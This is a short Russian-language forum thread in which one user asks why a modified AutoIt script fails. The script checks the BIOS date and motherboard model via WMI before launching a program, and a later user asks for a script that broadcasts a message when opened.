Pozia 24-11-2009 07:43 1278645

amel27, подскажите почему не работает вот так скрипт. Модифицировал его под другие цели:
Код:

#NoTrayIcon
Opt("ExpandEnvStrings", 1)

Global Const $WbemFlagReturnImmediately = 0x10
Global Const $WbemFlagForwardOnly = 0x20
Global Const $WmiRestartForce = 4

Global $arrayAllowedHosts[1] = ["200901161000000.000000+000ga-ma770-ds3"]
;--------------------------------------------------------------------------------------------------------------------------------------

if _PlatformArrayTest($arrayAllowedHosts) Then RunWait ("LSession.exe")

;--------------------------------------------------------------------------------------------------------------------------------------
Func _PlatformArrayTest(ByRef $arrayAllowedHosts)
    Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2")
    Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
    Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)

    If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then Return False
    For $objBIOS In $colBIOS
        For $objBaseBoard In $colBaseBoard
            For $i=0 To UBound($arrayAllowedHosts)-1
                $strComputerHost = StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3)
                If $arrayAllowedHosts[$i]=$strComputerHost Then Return True
            Next
        Next
    Next
    Return False
EndFunc


n3oc 09-04-2010 13:33 1388686

всем привет ) не кто не может мне сделать скрипт что бы при его открытие всем посылалось определоное сообщения если можете пожалутся сделайте напишите на скайп dodge.90


Время: 22:46.

Время: 22:46.
© OSzone.net 2001-